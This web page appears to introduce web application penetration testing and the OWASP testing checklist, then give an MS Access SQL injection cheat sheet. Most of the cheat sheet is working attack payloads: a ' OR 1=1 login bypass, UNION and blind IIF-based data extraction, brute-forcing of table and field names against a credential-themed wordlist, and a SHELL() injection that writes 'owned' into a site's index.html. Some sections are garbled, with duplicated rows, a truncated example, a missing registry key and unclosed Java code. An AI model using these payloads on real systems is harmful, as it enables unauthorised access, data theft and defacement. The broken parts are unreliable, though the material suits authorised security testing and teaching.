What is Web Application Penetration Testing?

What is Web Application Penetration Testing?

What is Web Application Penetration Testing?
A web application penetration test is an authorised security test of an application which methodically verifies each section of the application is not vulnerable to exploitation. Additionally the testing process identifies security issues, such as weak cryptography or logic flaws that can compromise the effectiveness of a web applications security controls. A web application pen test focuses only on evaluating the security of the web application.

The process is manual and involves active (dynamic) analysis of the application for any weaknesses, logic flaws, or vulnerabilities. Any security issues that are found will be presented to client coupled with a report detailing the impact, and recommendations for  mitigation or a technical solution.

OWASP Web Application Penetration Testing Web Application penetration TestingCheck List

Web application penetration testing process is usually based on the OWASP testing methodology, which covers:

Ref. No.
Test Name
4.2Information Gathering
4.2.1OTG-INFO-001Conduct Search Engine Discovery and Reconnaissance for Information Leakage
4.2.2OTG-INFO-002Fingerprint Web Server
4.2.3OTG-INFO-003Review Webserver Metafiles for Information Leakage
4.2.4OTG-INFO-004Enumerate Applications on Webserver
4.2.5OTG-INFO-005Review Webpage Comments and Metadata for Information Leakage
4.2.6OTG-INFO-006Identify application entry points
4.2.7OTG-INFO-007Map execution paths through application
4.2.8OTG-INFO-008Fingerprint Web Application Framework
4.2.9OTG-INFO-009Fingerprint Web Application
4.2.10OTG-INFO-010Map Application Architecture
4.3Configuration and Deploy Management Testing
4.3.1OTG-CONFIG-001Test Network/Infrastructure Configuration
4.3.2OTG-CONFIG-002 Test Application Platform Configuration
4.3.3OTG-CONFIG-003Test File Extensions Handling for Sensitive Information
4.3.4OTG-CONFIG-004 Backup and Unreferenced Files for Sensitive Information
4.3.5OTG-CONFIG-005Enumerate Infrastructure and Application Admin Interfaces
4.3.6OTG-CONFIG-006Test HTTP Methods
4.3.7OTG-CONFIG-007Test HTTP Strict Transport Security
4.3.8OTG-CONFIG-008Test RIA cross domain policy
4.4Identity Management Testing
4.4.1OTG-IDENT-001Test Role Definitions
4.4.2OTG-IDENT-002Test User Registration Process
4.4.3OTG-IDENT-003Test Account Provisioning Process
4.4.4OTG-IDENT-004Testing for Account Enumeration and Guessable User Account
4.4.5OTG-IDENT-005Testing for Weak or unenforced username policy
4.4.6OTG-IDENT-006Test Permissions of Guest/Training Accounts
4.4.7OTG-IDENT-007Test Account Suspension/Resumption Process
4.5Authentication Testing
4.5.1OTG-AUTHN-001Testing for Credentials Transported over an Encrypted Channel
4.5.2OTG-AUTHN-002Testing for default credentials
4.5.3OTG-AUTHN-003Testing for Weak lock out mechanism
4.5.4OTG-AUTHN-004Testing for bypassing authentication schema
4.5.5OTG-AUTHN-005Test remember password functionality
4.5.6OTG-AUTHN-006Testing for Browser cache weakness
4.5.7OTG-AUTHN-007Testing for Weak password policy
4.5.8OTG-AUTHN-008Testing for Weak security question/answer
4.5.9OTG-AUTHN-009Testing for weak password change or reset functionalities
4.5.10OTG-AUTHN-010Testing for Weaker authentication in alternative channel
4.6Authorization Testing
4.6.1OTG-AUTHZ-001Testing Directory traversal/file include
4.6.2OTG-AUTHZ-002Testing for bypassing authorization schema
4.6.3OTG-AUTHZ-003Testing for Privilege Escalation
4.6.4OTG-AUTHZ-004Testing for Insecure Direct Object References
4.7Session Management Testing
4.7.1OTG-SESS-001 Testing for Bypassing Session Management Schema
4.7.2OTG-SESS-002 Testing for Cookies attributes
4.7.3OTG-SESS-003 Testing for Session Fixation
4.7.4OTG-SESS-004 Testing for Exposed Session Variables
4.7.5OTG-SESS-005 Testing for Cross Site Request Forgery
4.7.6OTG-SESS-006 Testing for logout functionality
4.7.7OTG-SESS-007 Test Session Timeout
4.7.8OTG-SESS-008 Testing for Session puzzling
4.8Data Validation Testing
4.8.1OTG-INPVAL-001Testing for Reflected Cross Site Scripting
4.8.2OTG-INPVAL-002Testing for Stored Cross Site Scripting
4.8.3OTG-INPVAL-003 Testing for HTTP Verb Tampering
4.8.4OTG-INPVAL-004Testing for HTTP Parameter pollution
4.8.5OTG-INPVAL-005Testing for SQL Injection Testing Testing Server Testing PostgreSQL Access Testing for NoSQL injection
4.8.6OTG-INPVAL-006Testing for LDAP Injection
4.8.7OTG-INPVAL-007Testing for ORM Injection
4.8.8OTG-INPVAL-008Testing for XML Injection
4.8.9OTG-INPVAL-009Testing for SSI Injection
4.8.10OTG-INPVAL-010Testing for XPath Injection
4.8.11OTG-INPVAL-011IMAP/SMTP Injection
4.8.12OTG-INPVAL-012Testing for Code Injection for Local File Inclusion for Remote File Inclusion
4.8.13OTG-INPVAL-013Testing for Command Injection
4.8.14OTG-INPVAL-014Testing for Buffer overflow for Heap overflow for Stack overflow for Format string
4.8.15OTG-INPVAL-015Testing for incubated vulnerabilities
4.8.16OTG-INPVAL-016Testing for HTTP Splitting/Smuggling
4.9Error Handling
4.9.1OTG-ERR-001Analysis of Error Codes
4.9.2OTG-ERR-002Analysis of Stack Traces
4.10.1OTG-CRYPST-001Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection
4.10.2OTG-CRYPST-002Testing for Padding Oracle
4.10.3OTG-CRYPST-003Testing for Sensitive information sent via unencrypted channels
4.11 Business Logic Testing
4.11.1OTG-BUSLOGIC-001Test Business Logic Data Validation
4.11.2OTG-BUSLOGIC-002Test Ability to Forge Requests
4.11.3OTG-BUSLOGIC-003Test Integrity Checks
4.11.4OTG-BUSLOGIC-004Test for Process Timing
4.11.5OTG-BUSLOGIC-005Test Number of Times a Function Can be Used Limits
4.11.6OTG-BUSLOGIC-006Testing for the Circumvention of Work Flows
4.11.7OTG-BUSLOGIC-007Test Defenses Against Application Mis-use
4.11.8OTG-BUSLOGIC-008Test Upload of Unexpected File Types
4.11.9OTG-BUSLOGIC-009Test Upload of Malicious Files
4.12Client Side Testing
4.12.1OTG-CLIENT-001Testing for DOM based Cross Site Scripting
4.12.2OTG-CLIENT-002Testing for JavaScript Execution
4.12.3OTG-CLIENT-003Testing for HTML Injection
4.12.4OTG-CLIENT-004 Testing for Client Side URL Redirect
4.12.5OTG-CLIENT-005Testing for CSS Injection
4.12.6OTG-CLIENT-006Testing for Client Side Resource Manipulation
4.12.7OTG-CLIENT-007Test Cross Origin Resource Sharing
4.12.8OTG-CLIENT-008Testing for Cross Site Flashing
4.12.9OTG-CLIENT-009Testing for Clickjacking
4.12.10OTG-CLIENT-010Testing WebSockets
4.12.11OTG-CLIENT-011Test Web Messaging
4.12.12OTG-CLIENT-012Test Local Storage

Source: https://www.owasp.org/index.php/Testing_Checklist

Web Application Penetration Testing Tools

Web Application Penetration Testing Tools:

  • Burp Suite Professional
  • Owasp ZAP
  • Curl
  • TestSSL.sh
MS Access SQL Injection Cheat Sheet

MS Access SQL Injection Cheat Sheet

Pen testing MS Access SQL Injection Cheat SheetMS Access SQL Injection Cheat Sheet for penetration testing, while MS Access backend databases are less common on modern web applications, they still crop up during internal app testing from time to time. This resource provides practical examples for MS Access SQL Injection, if you found it useful then please share it.

MS Access SQL Injection Cheat Sheet for Penetration Testing

DescriptionSQL query and Comments
CommentsThere are no comments in MS Access. So "/*", "--", and "#" can't be used here. But it's possible to use the NULL byte (%00) to comment out the end of the query :
' UNION SELECT 1,1,1 FROM validTableName%00
Syntax Error Message"[Microsoft][Driver ODBC Microsoft Access]"
Stacked QueryNot Allowed.
UNION supportThe UNION operator is supported, but it needs a valid table name in the FROM clause.
Subqueries are supported (in the example "TOP 1" is used to make the query returns only one row) :
' AND (SELECT TOP 1 'someData' FROM validTableName)%00
LIMIT supportLIMIT isn't implemented, but it's possible to use "TOP N" in SELECT statement, to limit the number of returned rows :
' UNION SELECT TOP 3 AttrName FROM validTableName%00 : returns (the first) 3 rows
Make the query returns 0 rowsThis could be useful when the script displays only the first result rows in the html response :
' AND 1=0 UNION SELECT AttrName1,AttrName2 FROM validTableName%00
String concatenationNo CONCAT() function exists. It's possible to use the "&" or "+" operator to concat two strings. But you need to URL encode them :
' UNION SELECT 'web' %2b 'app' FROM validTableName%00 : returns "webapp"
' UNION SELECT 'web' %26 'app' FROM validTableName%00 : returns "webapp"
SubstringMID() function :
' UNION SELECT MID('abcd',1,1) FROM validTableName%00 : returns "a"
' UNION SELECT MID('abcd',2,1) FROM validTableName%00 : returns "b"
String lengthLEN() function :
' UNION SELECT LEN('1234') FROM validTableName%00 : returns 4
Find web root directoryYou can find the web root directory trying to select something from an inexistent database. MS Access will response with an error message containing the full path name :
' UNION SELECT 1 FROM ThisIsAFakeName.FakeTable%00
ASCII value from a characterASC() function :
' UNION SELECT ASC('A') FROM ValidTable%00 : returns 65 (ASCII value for 'A')
Character from an ASCII valueCHR() function :
' UNION SELECT CHR(65) FROM validTableName%00 : returns 'A'
IF StatementIIF() function can be used. Syntax : IIF(condition, true, false) :
' UNION SELECT IIF(1=1, 'a', 'b') FROM validTableName%00 : returns 'a'
Time InferenceFunction such as BENCHMARK() or SLEEP() doesn't exist. But it's possible to inference data with the use of heavy queries as explained here.
Verify File Existence By injecting :
' UNION SELECT name FROM msysobjects IN '\boot.ini'%00 : (if file exists) an error message is obtained (it informs that the database format was not recognized).
Table Name bruteforcingHere is a simple Java method that could be used to bruteforce MS Access table names. I wrote it to better explain the table name bruteforce process :

static private String columnErrorMessage = "...";
static private String accessError = "...";


public String bruteTableName(Request r) { // 0

   String resp = new String();
   String[] table = { "tab_name1", "tab_name2", ..., "tab_nameN" }; // 1

   for(int i = 0; i < table.length; i++) {

      resp = sendInjection(r, " ' UNION SELECT 1 FROM " + table[i] + "%00"); // 2

      if(resp.contains(columnErrorMessage) || !resp.contains(accessError)) // 3
           return table[i];

   return null;

Field Name bruteforcingYou need a valid table name and column number :
' UNION SELECT fieldName[j],1,1,1 FROM validTableName%00
In this case you have to loop on an attribute names list (in the same way I propose in the code above). An attribute is guessed if the syntax error message doesn't appear in the html response. Here "j" is just an index of an ipotetical attributes list.
Login bypassUser : ' OR 1=1%00 (or " OR 1=1%00)
Password : (blank)

Attributes Enumeration
NOTE : This method was tested with JBoss (using a bugged .jsp script) + MS Access, I don't know if this works with other configurations.
Usually if a SQL Injection exists, when you type a quote (') in a URL parameter you obtain an error message such as :

Error (...) syntax (...) query (...) : " Id=0' "

And this tells you that the current table has a parameter called "Id". Often programmers use the same names for URL and query attributes. When you know one parameter name you can use the technique used with MS SQL Server to enumerate other table fields name by injecting :

' GROUP BY Id%00

Now you'll obtain a new error message contains another attribute name. Enumeration follows by injecting :

' GROUP BY Id, SecondAttrName, ...%00
until you'll enumerate all the parameters.

OS Command Injection

By default it’s impossible to access to these functions

DescriptionSQL Query and Command
Security NotesIt's possible to block the use of critical functions (such as SHELL(), etc ...) by setting this register key :


Its default values is 2, so by default it's impossible to use these functions. What I propose below are some examples tested with that register key setted to 0.
Get Current DirectoryHere you need of columns number and a valid table name :

' UNION SELECT CurDir(),1,1 FROM validTableName%00
Execute OS CommandsSHELL() function can be used to run OS command :

' AND SHELL('cmd.exe /c echo owned > c:\path\name\index.html')%00

MS Access System Tables

By default it’s impossible to access to these system tables

DescriptionSQL Query and Command
MSysAccessXMLIt's possible to block the use of critical functions (such as SHELL(), etc ...) by setting this register key :


Its default values is 2, so by default it's impossible to use these functions. What I propose below are some examples tested with that register key setted to 0.
MSysACEsHere you need of columns number and a valid table name :

' UNION SELECT CurDir(),1,1 FROM validTableName%00
MSysObjectsHere you can find database table name :

This query can be used to obtain database tables name :

' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00

MS Access Blind SQL Injection

These steps can be used to bruteforce table content

DescriptionSQL Query and Command
Step #1 : Bruteforce Table NameYou have to bruteforce the table name. You can use the wordlist listed below. Inject query :

' AND (SELECT TOP 1 1 FROM TableNameToBruteforce[i])%00

After injection you have to check the html response page. If table exists you should have the same html page layout (because "AND 1" has no effect on the query).
Step #2 : Bruteforce Field NameYou have to find table fields name. Inject query :

' AND (SELECT TOP 1 FieldNameToBruteForce[j] FROM table)%00

As above, you should check the html page layout to inferece the field name existence
Step #3 : Bruteforce Table rows numberHere you can find database table name :

This query can be used to obtain database tables name :

' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00
Step #4 : Bruteforce item lengthYou can bruteforce the value length of a generic "ATTRIB" field at row number 1 with this query :

' AND IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)%00
You can bruteforce the value length of a generic "ATTRIB" field from row 2 to TAB_LEN with this query (here N is a number between 2 and TAB_LEN, the value bruteforced before) :
' AND IIF((SELECT TOP N LEN(ATTRIB) FROM validTableName WHERE ATTRIB<>'value1' AND ATTRIB<>'value2' ...(etc)...) = KKK,1,0)%00
"KKK" is a value between 0 and an arbitrary value, while ATTRIB<>'valueXXX' is used because we have to select a specific line to bruteforce. The unique way I found to do this is to select the desidered row with "TOP N",and then insert in the WHERE clause all the attribute values bruteforced before. I have to say that "ATTRIB" must be the table key-field. Here is an example :


You can bruteforce fields value length for row 1 in this way :
' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)%00
' AND IIF((SELECT TOP 1 LEN(A2) FROM Table) = KKK, 1, 0)%00
' AND IIF((SELECT TOP 1 LEN(A3) FROM Table) = KKK, 1, 0)%00

While you can bruteforce fields length value of second row in this way (assuming A1 as table key-field) :

A1 <>'1111') = KKK, 1, 0)%00
A1 <> '1111') = KKK, 1, 0)%00
A1 <> '1111') = KKK, 1, 0)%00
The same for row number 3 :
A1 <>'1111' AND A1 <> '0000') = KKK, 1, 0)%00
A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)%00
A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)%00
Obviusly, before bruteforcing field value length (at row between 2 and TAB_LEN) you have to bruteforce the previous row (key) field value (you have to put it in the WHERE clause).
Step #5 : Bruteforce Table ContentSupposing that the attacker already knows the table and fields name, he will inject this query :

' AND IIF((SELECT TOP N MID(ATTRIBxxx, XXX, 1) FROM validTableName WHERE ATT_key <>'value1' AND ATT_key <>'value2'
... etc ... ) = CHAR(YYY), 1, 0)%00

Where "N" is the row to bruteforce, "XXX" is the x-th byte of "ATTRIBxxx" to bruteforce, "ATT_key" is the table key-field and "YYY" is a number between 0 and 255 (it represents the ASCII value for a char). Here we have to use the same method mentioned before to correctly bruteforce a specific row attribute content.

Tables and Fields Bruteforcing

The following shows table brute forcing using a word list.

DescriptionSQL Query and Command
Table/Field WordlistHere is a very short table/field names wordlist that can be used during bruteforcing :

account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;
customers, customer, config, conf, cfg;
login, logout, loginout, log;
member, memberid;
password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;
store, store1, store2, store3, store4, setting;
username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd,  user_passwd;